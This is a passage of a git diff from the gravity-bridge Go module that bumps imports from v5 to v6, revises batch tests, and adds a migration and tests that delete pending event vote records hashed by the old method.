worth + myTokenContractAddr = common.HexToAddress("0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5") + totalCoins, _ = sdk.NewIntFromString("150000000000000000000000") // 150,000 ETH worth oneEth, _ = sdk.NewIntFromString("1000000000000000000") allVouchers = sdk.NewCoins( types.NewSDKIntERC20Token(totalCoins, myTokenContractAddr).GravityCoin(), @@ -144,11 +144,8 @@ func TestBatchesFullCoins(t *testing.T) { input.AccountKeeper.NewAccountWithAddress(ctx, mySender) require.NoError(t, fundAccount(ctx, input.BankKeeper, mySender, allVouchers)) - // CREATE FIRST BATCH - // ================== - - // add some TX to the pool - for _, v := range []uint64{20, 300, 25, 10} { + // Create different transactions with large amounts and unique fees + for _, v := range []uint64{200, 300, 250, 100} { vAsSDKInt := sdk.NewIntFromUint64(v) amount := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() fee := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() @@ -156,152 +153,39 @@ func TestBatchesFullCoins(t *testing.T) { require.NoError(t, err) } - // when + // Check that the first batch gets created with max 2 transactions ctx = ctx.WithBlockTime(now) - - // tx batch size is 2, so that some of them stay behind firstBatch := input.GravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 2) + require.NotNil(t, firstBatch) + require.Equal(t, 2, len(firstBatch.Transactions)) + require.Equal(t, oneEth.Mul(sdk.NewIntFromUint64(300)), firstBatch.Transactions[0].Erc20Fee.Amount) + require.Equal(t, oneEth.Mul(sdk.NewIntFromUint64(250)), firstBatch.Transactions[1].Erc20Fee.Amount) + + // Add a new transaction with even higher fee + vAsSDKInt := sdk.NewIntFromUint64(400) + amount := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() + fee := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() + _, err := input.GravityKeeper.createSendToEthereum(ctx, mySender, myReceiver.Hex(), amount, fee) + require.NoError(t, err) - // then batch is persisted - gotFirstBatch := input.GravityKeeper.GetOutgoingTx(ctx, firstBatch.GetStoreIndex()) - require.NotNil(t, gotFirstBatch) - - expFirstBatch := &types.BatchTx{ - BatchNonce: 1, - Transactions: []*types.SendToEthereum{ - { - Id: 2, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(300)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(300)), myTokenContractAddr), - }, - { - Id: 3, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(25)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(25)), myTokenContractAddr), - }, - }, - TokenContract: myTokenContractAddr.Hex(), - Height: 1234567, - } - assert.Equal(t, expFirstBatch, gotFirstBatch) - - // and verify remaining available Tx in the pool - var gotUnbatchedTx []*types.SendToEthereum - input.GravityKeeper.IterateUnbatchedSendToEthereums(ctx, func(tx *types.SendToEthereum) bool { - gotUnbatchedTx = append(gotUnbatchedTx, tx) - return false - }) - expUnbatchedTx := []*types.SendToEthereum{ - { - Id: 1, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(20)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(20)), myTokenContractAddr), - }, - { - Id: 4, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(10)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(10)), myTokenContractAddr), - }, - } - assert.Equal(t, expUnbatchedTx, gotUnbatchedTx) - - // CREATE SECOND, MORE PROFITABLE BATCH - // ==================================== - - // add some more TX to the pool to create a more profitable batch - for _, v := range []uint64{4, 5} { - vAsSDKInt := sdk.NewIntFromUint64(v) - amount := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() - fee := types.NewSDKIntERC20Token(oneEth.Mul(vAsSDKInt), myTokenContractAddr).GravityCoin() - _, err := input.GravityKeeper.createSendToEthereum(ctx, mySender, myReceiver.Hex(), amount, fee) - require.NoError(t, err) - } - - // create the more profitable batch + // Create second batch - should contain at most 2 transactions + // Remember, we don't cancel the older batch in CreateBatchTx because it could be in flight by the time we create the second. + // If a newer batch gets executed first, the SendToEthereums in the older batch will be freed up. ctx = ctx.WithBlockTime(now) - // tx batch size is 2, so that some of them stay behind secondBatch := input.GravityKeeper.CreateBatchTx(ctx, myTokenContractAddr, 2) + require.NotNil(t, secondBatch) + require.Equal(t, 2, len(secondBatch.Transactions)) + require.Equal(t, oneEth.Mul(sdk.NewIntFromUint64(400)), secondBatch.Transactions[0].Erc20Fee.Amount) + require.Equal(t, oneEth.Mul(sdk.NewIntFromUint64(200)), secondBatch.Transactions[1].Erc20Fee.Amount) - // check that the more profitable batch has the right txs in it - expSecondBatch := &types.BatchTx{ - BatchNonce: 2, - Transactions: []*types.SendToEthereum{ - { - Id: 1, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(20)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(20)), myTokenContractAddr), - }, - { - Id: 4, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(10)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(10)), myTokenContractAddr), - }, - }, - TokenContract: myTokenContractAddr.Hex(), - Height: 1234567, - } - - assert.Equal(t, expSecondBatch, secondBatch) - - // EXECUTE THE MORE PROFITABLE BATCH - // ================================= - - // Execute the batch - input.GravityKeeper.batchTxExecuted(ctx, common.HexToAddress(secondBatch.TokenContract), secondBatch.BatchNonce) - - // check batch has been deleted - gotSecondBatch := input.GravityKeeper.GetOutgoingTx(ctx, secondBatch.GetStoreIndex()) - require.Nil(t, gotSecondBatch) - - // check that txs from first batch have been freed - gotUnbatchedTx = nil + // Verify the remaining unbatched transaction + var gotUnbatchedTx []*types.SendToEthereum input.GravityKeeper.IterateUnbatchedSendToEthereums(ctx, func(tx *types.SendToEthereum) bool { gotUnbatchedTx = append(gotUnbatchedTx, tx) return false }) - expUnbatchedTx = []*types.SendToEthereum{ - { - Id: 2, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(300)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(300)), myTokenContractAddr), - }, - { - Id: 3, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(25)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(25)), myTokenContractAddr), - }, - { - Id: 6, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(5)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(5)), myTokenContractAddr), - }, - { - Id: 5, - Erc20Fee: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(4)), myTokenContractAddr), - Sender: mySender.String(), - EthereumRecipient: myReceiver.Hex(), - Erc20Token: types.NewSDKIntERC20Token(oneEth.Mul(sdk.NewIntFromUint64(4)), myTokenContractAddr), - }, - } - assert.Equal(t, expUnbatchedTx, gotUnbatchedTx) + require.Equal(t, 1, len(gotUnbatchedTx)) + require.Equal(t, oneEth.Mul(sdk.NewIntFromUint64(100)), gotUnbatchedTx[0].Erc20Fee.Amount) } func TestPoolTxRefund(t *testing.T) { @@ -553,3 +437,61 @@ func TestCancelBatchTx(t *testing.T) { }) require.Len(t, gotUnbatchedTx, 4) // All 4 transactions should be back in the pool } + +func TestOrderBatchesByNonceAscending(t *testing.T) { + t.Run("normal case", func(t *testing.T) { + // Create test batches with different nonces + batches := []*types.BatchTx{ + {BatchNonce: 3}, + {BatchNonce: 1}, + {BatchNonce: 4}, + {BatchNonce: 2}, + } + + // Order the batches + orderedBatches := orderBatchesByNonceAscending(batches) + + // Check if the batches are ordered correctly + assert.Equal(t, uint64(1), orderedBatches[0].BatchNonce) + assert.Equal(t, uint64(2), orderedBatches[1].BatchNonce) + assert.Equal(t, uint64(3), orderedBatches[2].BatchNonce) + assert.Equal(t, uint64(4), orderedBatches[3].BatchNonce) + + // Check if the length of the slice remains the same + assert.Equal(t, len(batches), len(orderedBatches)) + }) + + t.Run("empty slice", func(t *testing.T) { + batches := []*types.BatchTx{} + orderedBatches := orderBatchesByNonceAscending(batches) + assert.Empty(t, orderedBatches) + }) + + t.Run("nil slice", func(t *testing.T) { + var batches []*types.BatchTx + orderedBatches := orderBatchesByNonceAscending(batches) + assert.Nil(t, orderedBatches) + }) + + t.Run("single element", func(t *testing.T) { + batches := []*types.BatchTx{{BatchNonce: 1}} + orderedBatches := orderBatchesByNonceAscending(batches) + assert.Equal(t, 1, len(orderedBatches)) + assert.Equal(t, uint64(1), orderedBatches[0].BatchNonce) + }) + + t.Run("duplicate nonces", func(t *testing.T) { + batches := []*types.BatchTx{ + {BatchNonce: 2}, + {BatchNonce: 1}, + {BatchNonce: 2}, + {BatchNonce: 1}, + } + orderedBatches := orderBatchesByNonceAscending(batches) + assert.Equal(t, 4, len(orderedBatches)) + assert.Equal(t, uint64(1), orderedBatches[0].BatchNonce) + assert.Equal(t, uint64(1), orderedBatches[1].BatchNonce) + assert.Equal(t, uint64(2), orderedBatches[2].BatchNonce) + assert.Equal(t, uint64(2), orderedBatches[3].BatchNonce) + }) +} diff --git a/module/x/gravity/keeper/contract_call.go b/module/x/gravity/keeper/contract_call.go index 2f94f4a54..18c8bee96 100644 --- a/module/x/gravity/keeper/contract_call.go +++ b/module/x/gravity/keeper/contract_call.go @@ -8,7 +8,7 @@ import ( "cosmossdk.io/errors" sdk "github.com/cosmos/cosmos-sdk/types" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (k Keeper) GetUnsignedContractCallTxs(ctx sdk.Context, val sdk.ValAddress) []*types.ContractCallTx { diff --git a/module/x/gravity/keeper/contract_call_test.go b/module/x/gravity/keeper/contract_call_test.go index 01598d53a..7327bdfb5 100644 --- a/module/x/gravity/keeper/contract_call_test.go +++ b/module/x/gravity/keeper/contract_call_test.go @@ -5,7 +5,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) diff --git a/module/x/gravity/keeper/cosmos_originated.go b/module/x/gravity/keeper/cosmos_originated.go index 11aa6dc1d..66d2f484b 100644 --- a/module/x/gravity/keeper/cosmos_originated.go +++ b/module/x/gravity/keeper/cosmos_originated.go @@ -7,7 +7,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (k Keeper) getCosmosOriginatedDenom(ctx sdk.Context, tokenContract common.Address) (string, bool) { diff --git a/module/x/gravity/keeper/ethereum_event_handler.go b/module/x/gravity/keeper/ethereum_event_handler.go index 30e532681..2c451157e 100644 --- a/module/x/gravity/keeper/ethereum_event_handler.go +++ b/module/x/gravity/keeper/ethereum_event_handler.go @@ -8,7 +8,7 @@ import ( banktypes "github.com/cosmos/cosmos-sdk/x/bank/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (k Keeper) DetectMaliciousSupply(ctx sdk.Context, denom string, amount sdk.Int) (err error) { diff --git a/module/x/gravity/keeper/ethereum_event_vote.go b/module/x/gravity/keeper/ethereum_event_vote.go index 0c7d7dcd0..b22909a11 100644 --- a/module/x/gravity/keeper/ethereum_event_vote.go +++ b/module/x/gravity/keeper/ethereum_event_vote.go @@ -10,7 +10,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/cosmos/cosmos-sdk/types/query" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func (k Keeper) recordEventVote( diff --git a/module/x/gravity/keeper/genesis.go b/module/x/gravity/keeper/genesis.go index 65b880b0a..b47337219 100644 --- a/module/x/gravity/keeper/genesis.go +++ b/module/x/gravity/keeper/genesis.go @@ -7,7 +7,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // InitGenesis starts a chain from a genesis state @@ -28,6 +28,7 @@ func InitGenesis(ctx sdk.Context, k Keeper, data types.GenesisState) { if err := event.Validate(); err != nil { panic(fmt.Sprintf("invalid event in genesis: %s", err)) } + ctx.Logger().Info("gravity: event hash", "hash", event.Hash(), "nonce", event.GetEventNonce()) k.setEthereumEventVoteRecord(ctx, event.GetEventNonce(), event.Hash(), evr) } diff --git a/module/x/gravity/keeper/grpc_query.go b/module/x/gravity/keeper/grpc_query.go index 0c4a12d29..6b88bda0b 100644 --- a/module/x/gravity/keeper/grpc_query.go +++ b/module/x/gravity/keeper/grpc_query.go @@ -12,7 +12,7 @@ import ( "github.com/cosmos/cosmos-sdk/store/prefix" sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) var _ types.QueryServer = Keeper{} diff --git a/module/x/gravity/keeper/grpc_query_test.go b/module/x/gravity/keeper/grpc_query_test.go index 5638ce738..77301b5bf 100644 --- a/module/x/gravity/keeper/grpc_query_test.go +++ b/module/x/gravity/keeper/grpc_query_test.go @@ -6,7 +6,7 @@ import ( "github.com/cometbft/cometbft/libs/bytes" sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" "github.com/stretchr/testify/require" ) diff --git a/module/x/gravity/keeper/hooks.go b/module/x/gravity/keeper/hooks.go index 04e7818f7..8821bff91 100644 --- a/module/x/gravity/keeper/hooks.go +++ b/module/x/gravity/keeper/hooks.go @@ -3,7 +3,7 @@ package keeper import ( sdk "github.com/cosmos/cosmos-sdk/types" stakingtypes "github.com/cosmos/cosmos-sdk/x/staking/types" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) type Hooks struct { diff --git a/module/x/gravity/keeper/keeper.go b/module/x/gravity/keeper/keeper.go index 0e0482c99..eba149a55 100644 --- a/module/x/gravity/keeper/keeper.go +++ b/module/x/gravity/keeper/keeper.go @@ -21,7 +21,7 @@ import ( paramtypes "github.com/cosmos/cosmos-sdk/x/params/types" "github.com/ethereum/go-ethereum/common" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) // Keeper maintains the link to storage and exposes getter/setter methods for the various parts of the state machine diff --git a/module/x/gravity/keeper/keeper_test.go b/module/x/gravity/keeper/keeper_test.go index 63320c786..f6f4b2827 100644 --- a/module/x/gravity/keeper/keeper_test.go +++ b/module/x/gravity/keeper/keeper_test.go @@ -11,7 +11,7 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" - "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) func TestCurrentValsetNormalization(t *testing.T) { diff --git a/module/x/gravity/keeper/migrations.go b/module/x/gravity/keeper/migrations.go index 40ae56b86..474dad915 100644 --- a/module/x/gravity/keeper/migrations.go +++ b/module/x/gravity/keeper/migrations.go @@ -1,7 +1,16 @@ -//go:build exclude - package keeper +import ( + "bytes" + "crypto/sha256" + "fmt" + + tmbytes "github.com/cometbft/cometbft/libs/bytes" + sdk "github.com/cosmos/cosmos-sdk/types" + "github.com/ethereum/go-ethereum/common" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" +) + // Migrator is a struct for handling in-place store migrations. type Migrator struct { keeper Keeper @@ -11,3 +20,184 @@ type Migrator struct { func NewMigrator(keeper Keeper) Migrator { return Migrator{keeper: keeper} } + +func (m Migrator) MigrateStore(ctx sdk.Context) error { + ctx.Logger().Info("gravity: Migrating store") + + m.DeletePendingEventVoteRecords(ctx) + + return nil +} + +// DeletePendingEventVoteRecords deletes pending event vote records and adjusts the last observed nonce for validators +// who voted on unapproved events. This upgrade includes changes to how event hashes are calculated, so we delete +// pending event vote records that were created with the old hash calculation method to prevent inconsistent hashes. +func (m Migrator) DeletePendingEventVoteRecords(ctx sdk.Context) error { + ctx.Logger().Info("gravity: Deleting pending event vote records") + lastObservedEventNonce := m.keeper.GetLastObservedEventNonce(ctx) + ctx.Logger().Info("gravity: Last observed event nonce", "nonce", lastObservedEventNonce) + + // delete event vote records with nonce greater than lastObservedEventNonce + type deleteInfo struct { + nonce uint64 + hash []byte + } + + var recordsToDelete []deleteInfo + var lowestNonce uint64 + var unapprovedEventSigners []string + m.keeper.IterateEthereumEventVoteRecords(ctx, func(key []byte, eventVoteRecord *types.EthereumEventVoteRecord) bool { + event, err := types.UnpackEvent(eventVoteRecord.Event) + if err != nil { + panic(err) + } + if !eventVoteRecord.Accepted && event.GetEventNonce() > lastObservedEventNonce { + v5Hash := OldHash(event) + ctx.Logger().Info("gravity: v5 event hash: ", v5Hash) + ctx.Logger().Info("gravity: v6 event hash: ", event.Hash()) + ctx.Logger().Info("gravity: Deleting pending event vote record", "nonce", event.GetEventNonce(), "hash", v5Hash) + unapprovedEventSigners = append(unapprovedEventSigners, eventVoteRecord.Votes...) + recordsToDelete = append(recordsToDelete, deleteInfo{ + nonce: event.GetEventNonce(), + hash: v5Hash, + }) + if lowestNonce == 0 || event.GetEventNonce() < lowestNonce { + lowestNonce = event.GetEventNonce() + } + } + return false + }) + + if len(recordsToDelete) == 0 { + ctx.Logger().Info("gravity: No pending event vote records to delete") + return nil + } + + for _, record := range recordsToDelete { + m.keeper.DeleteEthereumEventVoteRecord(ctx, record.nonce, record.hash) + } + + // Dedup the list of validators + var dedupedValidators []string + dedupedValidatorsMap := make(map[string]struct{}) + for _, signer := range unapprovedEventSigners { + if _, exists := dedupedValidatorsMap[signer]; !exists { + dedupedValidatorsMap[signer] = struct{}{} + dedupedValidators = append(dedupedValidators, signer) + } + } + + // For each validator who voted on unapproved events, set their last observed + // nonce to the global last observed nonce + for _, signer := range dedupedValidators { + validator, err := sdk.ValAddressFromBech32(signer) + if err != nil { + ctx.Logger().Error("gravity: Error converting validator address from bech32", "error", err) + panic(err) + } + + currentNonce := m.keeper.getLastEventNonceByValidator(ctx, validator) + if currentNonce < lastObservedEventNonce { + // This shouldn't happen unless there's a bug but we just leave it be since the skipping event is getting deleted. + ctx.Logger().Error("gravity: Validator that signed an unapproved event has a last observed nonce less than the last accepted nonce. This is a bug in the module code.", "validator", signer, "current_nonce", currentNonce, "last_observed_nonce", lastObservedEventNonce) + continue + } + + m.keeper.setLastEventNonceByValidator(ctx, validator, lastObservedEventNonce) + } + + return nil +} + +func OldHash(event types.EthereumEvent) tmbytes.HexBytes { + switch e := event.(type) { + case *types.SendToCosmosEvent: + return HashSendToCosmosEvent(event.(*types.SendToCosmosEvent)) + case *types.BatchExecutedEvent: + return HashBatchExecutedEvent(event.(*types.BatchExecutedEvent)) + case *types.ContractCallExecutedEvent: + return HashContractCallExecutedEvent(event.(*types.ContractCallExecutedEvent)) + case *types.SignerSetTxExecutedEvent: + return HashSignerSetTxExecutedEvent(event.(*types.SignerSetTxExecutedEvent)) + case *types.ERC20DeployedEvent: + return HashERC20DeployedEvent(event.(*types.ERC20DeployedEvent)) + default: + panic(fmt.Sprintf("unknown event type: %T", e)) + } +} + +func HashSendToCosmosEvent(event *types.SendToCosmosEvent) tmbytes.HexBytes { + rcv, _ := sdk.AccAddressFromBech32(event.CosmosReceiver) + path := bytes.Join( + [][]byte{ + sdk.Uint64ToBigEndian(event.EventNonce), + common.HexToAddress(event.TokenContract).Bytes(), + event.Amount.BigInt().Bytes(), + common.Hex2Bytes(event.EthereumSender), + rcv.Bytes(), + sdk.Uint64ToBigEndian(event.EthereumHeight), + }, + []byte{}, + ) + hash := sha256.Sum256([]byte(path)) + return hash[:] +} + +func HashBatchExecutedEvent(event *types.BatchExecutedEvent) tmbytes.HexBytes { + path := bytes.Join( + [][]byte{ + common.HexToAddress(event.TokenContract).Bytes(), + sdk.Uint64ToBigEndian(event.EventNonce), + sdk.Uint64ToBigEndian(event.BatchNonce), + sdk.Uint64ToBigEndian(event.EthereumHeight), + }, + []byte{}, + ) + hash := sha256.Sum256([]byte(path)) + return hash[:] +} + +func HashContractCallExecutedEvent(event *types.ContractCallExecutedEvent) tmbytes.HexBytes { + path := bytes.Join( + [][]byte{ + sdk.Uint64ToBigEndian(event.EventNonce), + event.InvalidationScope, + sdk.Uint64ToBigEndian(event.InvalidationNonce), + sdk.Uint64ToBigEndian(event.EthereumHeight), + }, + []byte{}, + ) + hash := sha256.Sum256([]byte(path)) + return hash[:] +} + +func HashERC20DeployedEvent(event *types.ERC20DeployedEvent) tmbytes.HexBytes { + path := bytes.Join( + [][]byte{ + sdk.Uint64ToBigEndian(event.EventNonce), + []byte(event.CosmosDenom), + common.HexToAddress(event.TokenContract).Bytes(), + []byte(event.Erc20Name), + []byte(event.Erc20Symbol), + sdk.Uint64ToBigEndian(event.Erc20Decimals), + sdk.Uint64ToBigEndian(event.EthereumHeight), + }, + []byte{}, + ) + hash := sha256.Sum256([]byte(path)) + return hash[:] +} + +func HashSignerSetTxExecutedEvent(event *types.SignerSetTxExecutedEvent) tmbytes.HexBytes { + path := bytes.Join( + [][]byte{ + sdk.Uint64ToBigEndian(event.EventNonce), + sdk.Uint64ToBigEndian(event.SignerSetTxNonce), + sdk.Uint64ToBigEndian(event.EthereumHeight), + types.EthereumSigners(event.Members).Hash(), + }, + []byte{}, + ) + hash := sha256.Sum256(([]byte(path))) + return hash[:] +} diff --git a/module/x/gravity/keeper/migrations_test.go b/module/x/gravity/keeper/migrations_test.go new file mode 100644 index 000000000..dedc1c6a9 --- /dev/null +++ b/module/x/gravity/keeper/migrations_test.go @@ -0,0 +1,335 @@ +package keeper + +import ( + "testing" + + sdk "github.com/cosmos/cosmos-sdk/types" + "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" + "github.com/stretchr/testify/require" +) + +func TestDeletePendingEventVoteRecords(t *testing.T) { + env := CreateTestEnv(t) + gk := env.GravityKeeper + + valAddr1 := sdk.ValAddress("cosmosvaloper1") + valAddr2 := sdk.ValAddress("cosmosvaloper2") + valAddr3 := sdk.ValAddress("cosmosvaloper3") + + gk.setLastObservedEventNonce(env.Context, 10) + gk.setLastEventNonceByValidator(env.Context, valAddr1, 15) + gk.setLastEventNonceByValidator(env.Context, valAddr2, 15) + gk.setLastEventNonceByValidator(env.Context, valAddr3, 15) + + approvedEvent := types.ContractCallExecutedEvent{ + EventNonce: 10, + EthereumHeight: 99, + InvalidationScope: []byte("scope"), + InvalidationNonce: 1, + } + unapprovedEvent1 := types.ContractCallExecutedEvent{ + EventNonce: 11, + EthereumHeight: 100, + InvalidationScope: []byte("scope1"), + InvalidationNonce: 1, + } + unapprovedEvent2 := types.SignerSetTxExecutedEvent{ + EventNonce: 12, + EthereumHeight: 100, + Members: []*types.EthereumSigner{{ + Power: 100, + EthereumAddress: "0x1234567890", + }}, + SignerSetTxNonce: 5, + } + unapprovedEvent3 := types.BatchExecutedEvent{ + TokenContract: "0x1234567890", + EventNonce: 13, + EthereumHeight: 100, + BatchNonce: 20, + } + unapprovedEvent4 := types.ERC20DeployedEvent{ + EventNonce: 14, + EthereumHeight: 100, + TokenContract: "0x1234567890", + } + unapprovedEvent5 := types.SendToCosmosEvent{ + EventNonce: 15, + EthereumHeight: 100, + TokenContract: "0x1234567890", + Amount: sdk.NewInt(100), + } + + event, err := types.PackEvent(&approvedEvent) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 10, []byte("scope"), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: true, + }) + + event, err = types.PackEvent(&unapprovedEvent1) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 11, OldHash(&unapprovedEvent1), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent2) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 12, OldHash(&unapprovedEvent2), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent3) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 13, OldHash(&unapprovedEvent3), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent4) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 14, OldHash(&unapprovedEvent4), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + event, err = types.PackEvent(&unapprovedEvent5) + require.NoError(t, err) + gk.setEthereumEventVoteRecord(env.Context, 15, OldHash(&unapprovedEvent5), &types.EthereumEventVoteRecord{ + Event: event, + Votes: []string{valAddr1.String(), valAddr2.String(), valAddr3.String()}, + Accepted: false, + }) + + require.Equal(t, uint64(15), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(15), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(15), gk.getLastEventNonceByValidator(env.Context, valAddr3)) + require.Equal(t, uint64(10), gk.GetLastObservedEventNonce(env.Context)) + + migrator := NewMigrator(gk) + err = migrator.DeletePendingEventVoteRecords(env.Context) + require.NoError(t, err) + + require.Equal(t, uint64(10), gk.GetLastObservedEventNonce(env.Context)) + require.NotNil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[10]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[11]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[12]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[13]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[14]) + require.Nil(t, gk.GetEthereumEventVoteRecordMapping(env.Context)[15]) + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr1)) + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr2)) + require.Equal(t, uint64(10), gk.getLastEventNonceByValidator(env.Context, valAddr3)) + +} + +func TestDeletePendingEventVoteRecordsEmptyState(t *testing.T) { + env := CreateTestEnv(t) + gk := env.GravityKeeper + migrator := NewMigrator(gk) + + // Test migration with no events + err := migrator.DeletePendingEventVoteRecords(env.Context) + require.NoError(t, err) + require.Equal(t, uint64(0), gk.GetLastObservedEventNonce(env.Context)) + require.Empty(t, gk.GetEthereumEventVoteRecordMapping(env.Context)) +} + +func TestDeletePendingEventVoteRecordsPartialVotes(t *testing.T) { + env := CreateTestEnv(t) + gk := env.GravityKeeper + + valAddr1 := sdk.ValAddress("cosmosvaloper1") + valAddr2 := sdk.ValAddress("cosmosvaloper2") + valAddr3 := sdk.ValAddress("cosmosvaloper3") + valAddr4 := sdk.ValAddress("cosmosvaloper4") + valAddr5 := sdk.ValAddress("cosmosvaloper5") + + gk.setLastObservedEventNonce(env.Context, 5) + gk.setLastEventNonceByValidator(env.Context, valAddr1, 7) + gk.setLastEventNonceByValidator(env.Context, valAddr2, 6) + gk.setLastEventNonceByValidator(env.Context, valAddr3, 7) + gk.setLastEventNonceByValidator(env.Context, valAddr4, 3) + gk.setLastEventNonceByValidator(env.Context, valAddr5, 5) + + // Create events with different voting patterns + approvedEvent := types.ContractCallExecutedEvent{ + EventNonce: 5, + EthereumHeight: 90, + InvalidationScope: []byte("scope"), + InvalidationNonce: 1, + } + partialEvent := types.ContractCallExecutedEvent{ + EventNonce: 6, + EthereumHeight: 91, + 